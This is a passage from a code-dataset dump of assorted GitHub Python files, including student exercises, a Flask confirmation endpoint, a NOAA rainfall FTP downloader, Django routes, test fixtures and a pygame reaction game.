len(self.queue) == 0:\n self.current_song = None\n return\n self.current_song = self.queue.pop()\n self.bot.loop.create_task(self.play_song(self.current_song))\n\n async def stop(self):\n if self.client is None or (not self.client.is_paused() and not self.client.is_playing()):\n return\n self.client.stop()\n self.current_song = None\n self.queue.clear()\n\n def clear_queue(self):\n self.queue.clear()\n\n def get_current_song(self) -> Song:\n return self.current_song\n","repo_name":"vla5924/discord-bot","sub_path":"bot/streamer.py","file_name":"streamer.py","file_ext":"py","file_size_in_byte":2517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33043544997","text":"def custo_hotel(noite=0):\n result = noite * 140\n print(f'-Gastos com Hotel: R${result},00')\n return result\n\n\ndef custo_aviao(city=0):\n if city == 'São Paulo':\n print('--Gastos com avião: R$312,00')\n return 312\n elif city == 'Porto Alegre':\n print('--Gastos com avião: R$447,00')\n return 447\n elif city == 'Recife':\n print('--Gastos com avião: R$831,00')\n return 831\n elif city == 'Manaus':\n print('--Gastos com avião: R$986,00')\n return 986\n else:\n return 'Cidade inválida!!'\n\n\ndef custo_carro(dia=0):\n if dia > 0:\n if dia >= 3:\n result = (40*dia) - 20\n print(f'---Gastos com carro: R${result},00')\n elif dia >= 7:\n result = (40*dia) - 50\n print(f'---Gastos com carro: R${result},00')\n else:\n result = 40*dia\n print(f'---Gastos com carro: R${result},00')\n else:\n return 'Quantidade de dias inválido!'\n return result\n\n \ndef total(noit,cid,car):\n custo_hutel = custo_hotel(noit)\n custo_aviaum = custo_aviao(cid)\n custo_carru = custo_carro(car)\n gastos_extras = 0\n if custo_aviaum == 986 and custo_carru >= 430:\n gastos_extras += 800\n print('----Gastos extras: R$800,00')\n total = custo_hutel + custo_carru + custo_aviaum + gastos_extras\n return total\n\nprint('-----------***^^^BEM VINDO AO CALCULADOR DE GASTOS!!!^^^***-----------')\nnoites = int(input('Insira aqui a quantidade de noites no hotel: '))\ncidade = input('Insira o seu destino a partir da seguinte lista: \\nSão Paulo \\nPorto Alegre \\nRecife \\nManaus\\n ')\ncarros = int(input('Quantos dias irá alugar um carro?\\nBONUS: Se alugar por 3 dias ou mais, terá direito a um disconto de 20 reais!\\nBONUS EXTRA!!! Se alugar por 7 dias ou mais, terá direito a um disconto de 50 reais!!!\\n '))\nprint(f'O valor total de gastos é: R${total(noites,cidade,carros)},00')\n\n","repo_name":"Caioferrari04/blue_python","sub_path":"lista2_funcoes/projeto-l2.py","file_name":"projeto-l2.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28972380559","text":"# LEETCODE@ 616. Add Bold Tag in String\n#\n# 1. Use KMP to find all occurrences.\n#\n# 2.\n#\n# --END--\n\n\ndef kmp(pattern, string):\n # build array which prefix is also suffix.\n # prefix is the length of characters prefix matches suffix\n prefix = [0] * len(pattern)\n j = 0\n for i in range(1, len(pattern)):\n while j > 0 and pattern[i] != pattern[j]:\n j = prefix[j - 1]\n if pattern[i] == pattern[j]:\n j += 1\n prefix[i] = j\n\n # indexes of occurrence\n res = []\n j = 0\n for i in range(len(string)):\n while j > 0 and string[i] != pattern[j]:\n j = prefix[j - 1]\n if string[i] == pattern[j]:\n j += 1\n if j == len(pattern):\n res.append(i - len(pattern) + 1)\n j = prefix[j - 1]\n return res\n\n\ndef addBoldTag(self, s, tags):\n # initialization\n n = len(s)\n bold = [0] * (n + 1)\n\n # use kmp to find all occurrences for each sub strings\n for sub_s in tags:\n occurs = kmp(sub_s, s)\n for idx in occurs:\n if idx + len(sub_s) < n + 1:\n bold[idx] += 1\n bold[idx + len(sub_s)] -= 1\n\n # walk through the bold array\n pairs = []\n pre_cnt = cnt = 0\n for i in range(n + 1):\n pre_cnt = cnt\n cnt += bold[i]\n if pre_cnt == 0 and cnt == 0:\n continue\n elif 0 < pre_cnt and 0 < cnt:\n continue\n elif pre_cnt == 0 and 0 < cnt:\n pairs.append([i, None])\n else:\n pairs[-1][1] = i\n\n # build the string\n pairs = [[0, 0]] + pairs\n res = ''\n for i in range(1, len(pairs)):\n res += s[pairs[i - 1][1]:pairs[i][0]]\n print(s[pairs[i][0]:pairs[i][1]])\n res += '' + s[pairs[i][0]:pairs[i][1]] + ''\n res += s[pairs[-1][1]:n + 1]\n return res\n","repo_name":"Lancher/coding-challenge","sub_path":"substring/*bold_in_str.py","file_name":"*bold_in_str.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"21214958632","text":"import os\nfrom torch.utils.data import Dataset\n\n\nclass HubMapDataset(Dataset):\n def __init__(self, image_dir, mask_dir, img_transform=None, mask_transform=None):\n self.image_dir = image_dir\n self.mask_dir = mask_dir\n\n self.image_filenames = sorted(os.listdir(image_dir))\n self.mask_filenames = sorted(os.listdir(mask_dir))\n \n self.img_transform = img_transform\n self.mask_transform = mask_transform\n\n def __len__(self):\n return len(self.image_filenames)\n\n \n def __getitem__(self, idx):\n image_name = self.image_filenames[idx]\n mask_name = self.mask_filenames[idx]\n\n image_path = os.path.join(self.image_dir, image_name)\n mask_path = os.path.join(self.mask_dir, mask_name)\n\n # Open image and mask using PIL (Python Imaging Library)\n image = Image.open(image_path).convert(\"RGB\")\n if self.img_transform:\n image = self.img_transform(image)\n \n mask = Image.open(mask_path).convert(\"L\") # Convert to grayscale\n if self.mask_transform:\n mask = self.mask_transform(mask)\n\n return image, mask","repo_name":"luciaurcelay/human-vasculature-segmentation","sub_path":"src/utils/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32767997458","text":"myList = [\r\n [0,1,2,3,4],\r\n [5,6,7,8,9],\r\n [10,11,12,13,14],\r\n [15,16,17,18,19]\r\n\r\n]\r\n\r\nrowcount = 0 \r\ncolcount = 0 \r\n\r\nfor rows in myList:\r\n rowcount += 1\r\n for col in rows:\r\n colcount += 1\r\n \r\nprint('Rows: ' + str(rowcount))\r\nprint('Columns: ' + str(int(colcount/rowcount)))\r\n\r\n\r\n\r\n#print(myList[2][3])","repo_name":"xSteveBiscotti/CSE1010","sub_path":"Arrays.Test.py","file_name":"Arrays.Test.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32700314366","text":"import unittest\nfrom asterios.models.basemodel import *\n\nfrom voluptuous import Schema, Invalid\n\n\nclass Model(ModelMixin):\n schema = Schema({\n 'a1': int,\n 'a2': str\n })\n\n def __init__(self, a1, a2):\n self.a1 = a1\n self.a2 = a2\n\n\n\nclass TestModel(unittest.TestCase):\n\n def test_from_dict_method_should_validate_input_using_schema(self):\n input_date = {'a1': 3, 'a2': 3}\n\n with self.assertRaises(Invalid) as exc_ctx:\n Model.from_dict(input_date)\n \n self.assertEqual(\n str(exc_ctx.exception), \n \"expected str for dictionary value @ data['a2']\")\n\n def test_from_dict_method_should_instantiate_a_model(self):\n input_date = {'a1': 3, 'a2': 'c'}\n\n a_object = Model.from_dict(input_date)\n \n self.assertIsInstance(a_object, Model)\n self.assertEqual(a_object.a1, 3)\n self.assertEqual(a_object.a2, 'c')\n \n\n\nclass TestCollectionFunction(unittest.TestCase):\n\n def setUp(self):\n self.schema = Schema(collection(Model, min_length=1, max_length=2))\n self.cleaned = self.schema([{'a1': 3, 'a2': 'toto'}])\n\n def test_cleaned_should_be_a_list(self):\n self.assertIsInstance(self.cleaned, list)\n\n def test_cleaned_should_contain_a_model_instance(self):\n obj = self.cleaned[0]\n self.assertIsInstance(obj, Model)\n self.assertEqual(obj.a1, 3)\n self.assertEqual(obj.a2, 'toto')\n\n def test_schema_should_raise_if_length_is_greater_than_2(self):\n with self.assertRaises(Invalid) as exc_ctx:\n self.schema([{'a1': 3, 'a2': 'toto'}] * 3)\n\n def test_schema_should_raise_if_length_is_lower_than_1(self):\n with self.assertRaises(Invalid) as exc_ctx:\n self.schema([])\n\n\n","repo_name":"Maillol/asterios","sub_path":"tests/test_models/test_basemodel.py","file_name":"test_basemodel.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"35608790864","text":"linha1 = []\nlinha2 = []\nlinha3 = []\nmatriz = [linha1, linha2, linha3]\npares = somacol3 = maior = 0\n\nfor i in range(0, 3):\n n = int(input(f'Digite o numero para a posição [0, {i}]'))\n linha1.append(n)\n if n % 2 == 0:\n pares += n\n if i == 2:\n somacol3 += n\nfor i in range(0, 3):\n n = int(input(f'Digite o numero para a posição [1, {i}]'))\n linha2.append(n)\n if n % 2 == 0:\n pares += n\n if i == 2:\n somacol3 += n\n if len(linha2) == 0:\n maior = linha2[0]\n else:\n if linha2[i] > maior:\n maior = linha2[i]\n\nfor i in range(0, 3):\n n = int(input(f'Digite o numero para a posição [2, {i}]'))\n linha3.append(n)\n if n % 2 == 0:\n pares += n\n if i == 2:\n somacol3 += n\n\n\n\nprint(f'[ {matriz[0][0]} ]', end='')\nprint(f'[ {matriz[0][1]} ]', end='')\nprint(f'[ {matriz[0][2]} ]')\nprint(f'[ {matriz[1][0]} ]', end='')\nprint(f'[ {matriz[1][1]} ]', end='')\nprint(f'[ {matriz[1][2]} ]')\nprint(f'[ {matriz[2][0]} ]', end='')\nprint(f'[ {matriz[2][1]} ]', end='')\nprint(f'[ {matriz[2][2]} ]')\nprint(f'=-'*20)\n\nprint(f'A soma dos valores pares é {pares}.')\nprint(f'A soma dos valores da terceira coluna é {somacol3}.')\nprint(f'O maior valor da segunda linha é {maior}')\n","repo_name":"PedroBenvenutti/basic-python","sub_path":"56 - list09-matriz-soma.py","file_name":"56 - list09-matriz-soma.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5894173928","text":"import csv\n\nwith open('/Users/admin/Desktop/test_log/run_log', 'r') as log_file:\n avg = []\n all_ = []\n line = log_file.readline()\n while line:\n if line[:13] == 'Avg val accur':\n\n avg_accur = float( ''.join(v for v in line if v.isdigit() or v =='.'))\n avg.append(avg_accur)\n next_line = log_file.readline()\n all_accur = eval(next_line)\n all_.append(all_accur)\n line = log_file.readline()\n log_file.close()\n\n # error proof\n assert len(avg) == len(all_)\n for i in range(len(avg)):\n all_[i]['avg_accur'] = avg[i]\n # print(all_[i])\n\n with open('accur_log.csv', 'w') as accur_file:\n fieldnames = []\n for k in all_[0].keys():\n fieldnames.append(k)\n fieldnames.remove('avg_accur')\n fieldnames[0:0] = ['avg_accur'] # must have [] otherwise malfunctioning... not as expected\n # print(fieldnames)\n csv_writer = csv.DictWriter(accur_file, fieldnames=fieldnames, delimiter=',')\n csv_writer.writeheader()\n for i in range(len(all_)):\n # print('Sanity check')\n # print(all_[i])\n csv_writer.writerow(all_[i])\n # for line in log_file:\n\n\n\n # with open('loss_log', 'w') as loss_file:\n # fieldNames = ['iter_count', 'loss']\n # csv_writer = csv.DictWriter(loss_file, fieldnames=fieldNames, delimiter=',')\n # csv_writer.writeheader()\n # for i in range(len(temp)):\n # idx = 100 * (i+1)\n # loss = temp[i]\n # temp_dict = {}\n # temp_dict['loss'] = loss\n # temp_dict['iter_count'] = idx\n # csv_writer.writerow(temp_dict)\n\n\n\n\n\n\n\n#\n#\n#\n# import csv\n#\n# with open('name.csv', 'r') as csv_file:\n# csv_reader = csv.DictReader(csv_file)\n#\n# with open('new_names_dict.csv', 'w') as new_file:\n# # fieldNames = ['first_name', 'last_name', 'email']\n# fieldNames = ['first_name', 'last_name']\n#\n# csv_writer = csv.DictWriter(new_file, fieldnames=fieldNames, delimiter='\\t')\n#\n# csv_writer.writeheader() # write fieldname in first row... you usually need to do that\n#\n# for line in csv_reader:\n# del line['email']\n# csv_writer.writerow(line)","repo_name":"thomas-liao/python_prac","sub_path":"IO_Practice/CSV/counsel_extract_accur_human_pose.py","file_name":"counsel_extract_accur_human_pose.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32073781168","text":"def vetor(tam):\n valores = list(map(int, input().split()))\n for i in range(len(valores)):\n valores[i] = int(valores[i])\n\n menor = valores[0]\n posicao = 0\n for i2 in range(1, len(valores)):\n if valores[i2] < menor:\n menor = valores[i2]\n posicao = i2\n print('Menor valor: %d' % menor)\n print('Posicao: %d' % posicao)\n\n\ntamanho = int(input())\nvetor(tamanho)\n","repo_name":"JvMainoth/UFF","sub_path":"UFF-Prog1-Python/Lista 3/Menor e Posição.py","file_name":"Menor e Posição.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37988951283","text":"\"\"\"Module containing the Iodine algorithm's interface.\"\"\"\n\nfrom .pattern_collection import pattern_collection\nfrom ...results.detected_clone import DetectedClone\nfrom ...results.detection_result import DetectionResult\n\n\ndef iodine(module_list_1, module_list_2):\n \"\"\"\n Find clones between the two modules by comparing all possible subtrees of\n their methods. Returns the results.\n\n Arguments:\n modules1 {list[list[TreeNode]]} -- List of first repo's modules.\n modules2 {list[list[TreeNode]]} -- List of second repo's modules.\n\n Returns:\n DetectionResult -- Result of the code clone detection.\n\n \"\"\"\n clusters = []\n for module_tree_1 in module_list_1:\n for module_tree_2 in module_list_2:\n clusters.append(pattern_collection(\n module_tree_1, module_tree_2))\n\n clones = []\n for cluster_list in clusters:\n for pattern in cluster_list:\n if pattern:\n clones.append(DetectedClone(\n pattern[0].value, pattern[0].get_match_weight(), nodes=pattern[0].nodes))\n\n return DetectionResult(clones)\n","repo_name":"iresbaylor/codeDuplicationParser","sub_path":"engine/algorithms/iodine/iodine.py","file_name":"iodine.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"13733950203","text":"\"\"\"\nUrls for the movie models.\n\"\"\"\nfrom django.urls import include, path\nfrom rest_framework_nested.routers import SimpleRouter, NestedSimpleRouter # type: ignore\n\nfrom .views import MovieViewSet, WatchlistViewSet, NotificationViewSet\n\nrouter = SimpleRouter(trailing_slash=False)\nrouter.include_format_suffixes = False\nrouter.register(\"movies\", MovieViewSet, basename=\"movie\")\nrouter.register(\"watchlists\", WatchlistViewSet, basename=\"watchlist\")\n\n# register the nested urls for movie routes\nwl_router = NestedSimpleRouter(\n router, \"watchlists\", lookup=\"watchlist\", trailing_slash=False\n)\nwl_router.register(\"notifications\", NotificationViewSet, basename=\"notification\")\n\nurlpatterns = [path(\"\", include(router.urls)), path(\"\", include(wl_router.urls))]\n","repo_name":"jtmitchell/mymovie","sub_path":"movies/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30802390329","text":"import time\nimport os\n\ndef menu(client):\n EXIT = False\n\n while not EXIT:\n print(\"1 - Listar usuários\")\n print(\"2 - Criar grupo\")\n print(\"3 - Listar grupos\")\n print(\"4 - Iniciar bate papo\")\n print(\"5 - Minhas conversas\")\n print(\"6 - Sair\")\n\n opt = int(input())\n \n if opt == 1:\n os.system(\"clear\")\n client.users()\n\n select = input()\n\n if select == \"sair\":\n os.system(\"clear\")\n menu(client)\n\n elif opt == 2:\n name = input('Insira o nome do grupo: ')\n members = input(\"Insira o id dos integrantes: \")\n client.new_group(name, members)\n\n os.system(\"clear\")\n menu(client)\n\n elif opt == 3:\n os.system(\"clear\")\n client.groups()\n\n select = input()\n\n if select == \"sair\":\n os.system(\"clear\")\n menu(client)\n\n client.select_group(int(select)-1)\n EXIT_CONVERSATION = False\n\n print(\"Digite algo\")\n while not EXIT_CONVERSATION:\n message = input()\n if message == \"sair\":\n os.system(\"clear\")\n EXIT_CONVERSATION = True\n else:\n client.send_message(message)\n\n elif opt == 4:\n os.system(\"clear\")\n id = input('Insira o id com quem deseja conversar: ')\n\n client.request_chat(id)\n EXIT_CONVERSATION = False\n\n print(\"Digite algo\")\n while not EXIT_CONVERSATION:\n message = input()\n if message == \"sair\":\n EXIT_CONVERSATION = True\n os.system(\"clear\")\n else:\n client.send_message(message)\n\n elif opt == 5:\n os.system(\"clear\")\n client.chats()\n\n select = input()\n\n if select == \"sair\":\n os.system(\"clear\")\n menu(client)\n\n client.select_chat(int(select)-1)\n EXIT_CONVERSATION = False\n\n print(\"Digite algo\")\n while not EXIT_CONVERSATION:\n message = input()\n if message == \"sair\":\n os.system(\"clear\")\n EXIT_CONVERSATION = True\n else:\n client.send_message(message)\n\n elif opt == 6:\n client.disconnect()\n EXIT = True\n time.sleep(3)\n\n else:\n print(\"Opção inválida!\")","repo_name":"biridiz/mqtt-chat","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3662910385","text":"import os\nfrom unittest import TestCase, main\n\nfrom iphone_message_extractor import util\nfrom iphone_message_extractor.phone_db import PhoneDB, ManifestDB, AddressDB, MessageDB\nfrom . import fixtures\n\nclass TestPhoneDB(TestCase):\n '''\n Integration tests to ensure functionality of various classes in phone_db.\n Fixtures are generated once for the class instead of per test since in reality\n we aren't modifying these DBs in the application code either. See fixtures.py\n for code to generate dummy data.\n '''\n \n @classmethod\n def setUpClass(klass):\n klass.manifest_db = fixtures.create_manifest_db()\n klass.address_db = fixtures.create_address_book_db()\n klass.message_db = fixtures.create_message_db()\n \n @classmethod\n def tearDownClass(klass):\n klass.manifest_db.close()\n klass.address_db.close()\n klass.message_db.close()\n \n def test_manifest_get_sms_db(self):\n ''' Ensure the proper DB path is returned from the Manifest '''\n self.assertEqual(TestPhoneDB.manifest_db.get_physical_path_for_file(PhoneDB.SMS_DB_FILENAME),\\\n '46/469af719d01883a826c1bb5e834aafde3e8d5c33')\n \n def test_manifest_missing_file(self):\n ''' Make sure we throw an exception when we try to look up a file that isn't there '''\n with self.assertRaises(FileNotFoundError):\n TestPhoneDB.manifest_db.get_physical_path_for_file('com.apple.Preferences.plist')\n\n def __expected_dict(self):\n return {'frodo@shire.net': ('Frodo', 'Baggins'),\n '+1 646-400-1212': ('Frodo', 'Baggins'),\n '+1 212-555-1212': ('Samwise', 'Gamgee'),\n '+1 646-555-1212': ('Meriadoc', 'Brandybuck'),\n '+1 415-555-1212': ('Bilbo', 'Baggins'),\n 'mithrandir@gondor.net': ('Gandalf', 'the Grey')}\n \n def test_address_book_dict(self):\n ''' Ensure the address book dict is being properly generated '''\n self.assertEqual(TestPhoneDB.address_db.generate_dict_from_address_book(),\n self.__expected_dict())\n \n def test_address_book_unknown_val(self):\n ''' Test that an invalid entry does not change the address dict '''\n # add an unparseable value to the address_db\n conn = TestPhoneDB.address_db.connection()\n with conn:\n cur = conn.cursor()\n sql = \"INSERT INTO ABMultiValue(record_id, value) VALUES(5, 'http://mithrandir.net')\"\n res = cur.execute(sql)\n conn.commit()\n \n # We should still have the same dictionary since we have added an unparseable value\n self.assertEqual(TestPhoneDB.address_db.generate_dict_from_address_book(),\n self.__expected_dict())\n \n # clean up after ourselves since the address db is set up/torn down for the whole\n # class, not per test (might change in the future as necessary...)\n with conn:\n res = cur.execute(\"DELETE FROM ABMultiValue WHERE value = 'http://mithrandir.net'\")\n conn.commit()\n \n def test_matching_messages_to_contact_dict(self):\n ''' Ensure that match_messages_to_contact_dict matches to the right contacts '''\n expected_output = fixtures.read_expected_output()\n \n self.assertEqual(expected_output,\\\n TestPhoneDB.message_db.match_messages_to_contact_dict(self.__expected_dict()))\n \n \nif __name__ == '__main__':\n unittest.main()","repo_name":"chrisfrommann/iphone-message-extractor","sub_path":"iphone_message_extractor/tests/test_phone_db.py","file_name":"test_phone_db.py","file_ext":"py","file_size_in_byte":3567,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"75"} +{"seq_id":"9680588415","text":"import ftplib\nimport datetime\nimport os\nimport gzip\n\ndef downloadRainData():\n '''Downloads 0.1 degree daily rainfall data from ftp.cpc.ncep.noaa.gov/fews/fewsdata/africa/rfe2/bin/ \\n\n and processes them at AggLevel = \"Woreda\" or \"Kebele\"'''\n\n #open a log file and write the current date to it\n workingDir = os.getcwd()\n fdLog = file(workingDir + \"\\\\\" + 'NOAAupdate.log','a')\n fdLog.write(str(datetime.datetime.today()) + '\\n')\n fdLog.flush()\n\n #connect to the GHCN FTP server and go to data directory\n ftp = ftplib.FTP('ftp.cpc.ncep.noaa.gov')\n ftp.login('','')\n ftp.cwd('fews/fewsdata/africa/rfe2/bin/')\n\n #download the rainfall binary files\n directoryList = []\n ftp.retrlines('LIST', directoryList.append)\n rainFiles = []\n for fileEntry in directoryList:\n if fileEntry.find(\".gz\") > -1:\n rainFiles.append(fileEntry)\n\n for i in range(len(rainFiles)):\n parts = rainFiles[i].split()\n newFile = workingDir + \"\\\\\" + parts[8][0:12] + parts[8][16:25]\n if (os.path.exists(newFile)) == False:\n #Download the binary file if it hasn't yet been downloaded\n ftp.retrbinary('RETR ' + parts[8], file(workingDir + \"\\\\\" + parts[8], 'wb').write)\n fdLog.write('downloaded ' + parts[8] + '\\n')\n\n #uncompress the file and delete the zipped file\n inF = gzip.open(workingDir + \"\\\\\" + parts[8], 'rb')\n outF = open(workingDir + \"\\\\\" + parts[8][:-3],'wb')\n outF.write(inF.read())\n inF.close()\n outF.close()\n os.remove(str(workingDir + \"\\\\\" + parts[8]))\n\n ftp.close()\n\n return None\n\ndownloadRainData()\n","repo_name":"hkejigu/VCR_Project","sub_path":"Rain/downloadRainData.py","file_name":"downloadRainData.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"36338550282","text":"import time\nimport traceback\n\nfrom flask.helpers import make_response\nfrom flask.templating import render_template\nfrom flask_restful import Resource\nfrom libs.mailgun import MailGunException\n\nfrom models.confirmation import ConfirmationModel\nfrom models.user import UserModel\nfrom resources.user import USER_NOT_FOUND\nfrom schemas.confirmation import ConfirmationSchema\n\nNOT_FOUND = \"Confirmation not found\"\nEXPIRED = \"Confirmation expired\"\nALREADY_CONFIRMED = \"Registeration has already been confirmed\"\nRESEND_SUCCESSFUL = \"A new confirmation email has been sent successfully.\"\nRESEND_FAIL = \"Fail to send a new confirmation email.\"\n\nconfirmation_list_schema = ConfirmationSchema(many=True)\n\n\nclass Confirmation(Resource):\n @classmethod\n def get(cls, confirmation_id: str):\n confirmation = ConfirmationModel.find_by_id(confirmation_id)\n if not confirmation:\n return {\"message\": NOT_FOUND}, 404\n if confirmation.expired:\n return {\"message\": EXPIRED}, 400\n if confirmation.confirmed:\n return {\"message\": ALREADY_CONFIRMED}, 400\n confirmation.confirmed = True\n confirmation.save_to_db()\n\n headers = {\"Content-Type\": \"text/html\"}\n return make_response(\n render_template(\"confirmation_page.html\", email=confirmation.user.email),\n 200,\n headers\n )\n\n\nclass ConfirmationByUser(Resource):\n @classmethod\n def get(cls, user_id: int): # Return all user confirmation detailed used for testing only!!\n user = UserModel.find_by_id(user_id)\n if not user:\n return {\"message\": USER_NOT_FOUND}, 404\n return(\n {\n \"current_time\": int(time.time()),\n \"confirmation\": confirmation_list_schema.dump(user.confirmation.order_by(ConfirmationModel.expire_at))\n },\n 200\n )\n\n @classmethod\n def post(cls, user_id: int):\n \"\"\"Resend confirmation email\"\"\"\n user = UserModel.find_by_id(user_id)\n if not user:\n return {\"message\": USER_NOT_FOUND}, 404\n\n try:\n confirmation = user.most_recent_confirmation\n if confirmation:\n if confirmation.confirmed:\n return {\"message\": ALREADY_CONFIRMED}, 400\n confirmation.force_to_expire()\n\n new_confirmation = ConfirmationModel(user_id)\n new_confirmation.save_to_db()\n user.send_confirmation_email()\n return {\"message\": RESEND_SUCCESSFUL}\n except MailGunException as me:\n return {\"message\": str(me)}, 500\n except:\n traceback.print_exc()\n return {\"message\": RESEND_FAIL}, 500\n","repo_name":"chetra-seng/item-restapi","sub_path":"resources/confirmation.py","file_name":"confirmation.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"19274021494","text":"from django.conf.urls import url, include\n\nfrom . import views\n\nurlpatterns = [\n url(r'^([0-9]+/?)?$', views.SurveyView.as_view(), name='surveys'),\n url(r'^(?P[0-9]+)/delete$', views.DeleteSurveyView.as_view(), name='survey_delete'),\n url(r'^(?P[0-9]+)/edit_survey$', views.EditSurveyView.as_view(), name='edit_survey'),\n # url(r'^(?P[0-9]+)/(?P\\w+)/?$', views.AttendSurveyView.as_view(), name='survey_votes'),\n url(r'^create_survey$', views.CreateSurveyView.as_view(), name='create_survey'),\n url(r'^(?P[0-9]+)/(?P([0-9]+-?)*-+)/vote_survey$', views.VoteSurveyView.as_view(),\n name='vote_survey'),\n url(r'^(?P[0-9]+)/close$', views.CloseSurveyView.as_view(), name='survey_close'),\n url(r'^(?P[0-9]+)/send$', views.SendResultSurveyView.as_view(), name='survey_send'),\n url(r'^(?P[0-9]+)/resend$', views.ResendSurveyView.as_view(), name='survey_resend'),\n]\n","repo_name":"groupsome/groupsome","sub_path":"messengerext/surveys/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"8885276388","text":"# Escribir una función que convierta un número decimal en binario y otra que convierta un\n# número binario en decimal.\n\ndef conversorBinario(num):\n lista = []\n while num != 0:\n resto = num%2\n lista.append(resto)\n num = num // 2\n lista.reverse()\n for x in lista:\n print(x , end='')\n \n\n# conversorBinario(100)\n\ndef conversorDecimal(num):\n decimal = []\n \n for x in str(num):\n decimal.append(x)\n decimal.reverse()\n sum = 0\n for x in range(len(decimal)-1 , -1 , -1): \n sum += int(decimal[x])*(2**x)\n \n return sum \n \n \n\nprint(conversorDecimal(1111)) ","repo_name":"lrlichardi/Python","sub_path":"tp7/Ej9.py","file_name":"Ej9.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34509708050","text":"import pygame\r\nimport random\r\nimport time\r\nWINDOW_SIZE = [500, 500]\r\nscreen = pygame.display.set_mode(WINDOW_SIZE)\r\nBLACK = (0, 0, 0)\r\nWHITE = (255, 255, 255)\r\nGREEN = (0, 255, 0)\r\nRED = (255, 0, 0)\r\npygame.init()\r\n\r\n\r\ndef printtext(message, x, y, color=(0, 0, 0), type=\"8277.ttf\", size=30):\r\n type = pygame.font.Font(type, size)\r\n text = type.render(message, True, color)\r\n screen.blit(text, (x, y))\r\n\r\n\r\nclass Button:\r\n def __init__(self, width, height, color1, color2):\r\n self.width = width\r\n self.height = height\r\n self.color1 = color1\r\n self.color2 = color2\r\n\r\n def draw(self, x, y, message, active=None):\r\n mouse = pygame.mouse.get_pos()\r\n click = pygame.mouse.get_pressed()\r\n if (x < mouse[0] < x + self.width) and y < mouse[1] < y + self.height:\r\n pygame.draw.rect(screen, GREEN, (x, y, self.width, self.height))\r\n if click[0] == 1:\r\n if active is not None:\r\n active()\r\n else:\r\n pygame.draw.rect(screen, RED, (x, y, self.width, self.height))\r\n printtext(message, x + 60, y + 20)\r\n\r\n\r\ndef show_menu():\r\n pygame.display.set_mode(WINDOW_SIZE)\r\n menu_show = True\r\n start = Button(300, 70, GREEN, RED)\r\n while menu_show:\r\n screen.fill(BLACK)\r\n start.draw(110, 180, \"START GAME\", rungame)\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n quit()\r\n pygame.display.flip()\r\n\r\n\r\ndef rungame():\r\n start_time = time.perf_counter()\r\n a1 = random.randint(0, 4)\r\n b1 = random.randint(0, 4)\r\n score = 0\r\n WIDTH = 40\r\n HEIGHT = 40\r\n MARGIN = 14\r\n grid = []\r\n for row in range(5):\r\n grid.append([])\r\n for column in range(5):\r\n grid[row].append(0)\r\n pygame.display.set_caption(\"Проверь свою реакцию!\")\r\n done = False\r\n printtext(\"SCORE :\" + str(score), 350, 100, GREEN)\r\n clock = pygame.time.Clock()\r\n while not done:\r\n screen.fill(BLACK)\r\n printtext(\"Цель: 25\", 350, 30, GREEN)\r\n printtext(\"Счёт:\" + str(score), 350, 100, GREEN)\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n quit()\r\n elif event.type == pygame.MOUSEBUTTONDOWN:\r\n pos = pygame.mouse.get_pos()\r\n column = pos[0] // (WIDTH + MARGIN)\r\n row = pos[1] // (HEIGHT + MARGIN)\r\n if column < 5 and row < 5:\r\n grid[row][column] = 1\r\n print(\"Click \", row, column)\r\n for row in range(5):\r\n for column in range(5):\r\n color = WHITE\r\n pygame.draw.rect(screen,\r\n color,\r\n [(MARGIN + WIDTH) * column + MARGIN,\r\n (MARGIN + HEIGHT) * row + MARGIN,\r\n WIDTH,\r\n HEIGHT])\r\n color = GREEN\r\n pygame.draw.rect(screen,\r\n color,\r\n [(MARGIN + WIDTH) * b1 + MARGIN,\r\n (MARGIN + HEIGHT) * a1 + MARGIN,\r\n WIDTH,\r\n HEIGHT])\r\n if grid[a1][b1] == 1:\r\n score += 1\r\n print(score)\r\n a1 = random.randint(0, 4)\r\n b1 = random.randint(0, 4)\r\n grid[a1][b1] = 0\r\n color = WHITE\r\n pygame.draw.rect(screen,\r\n 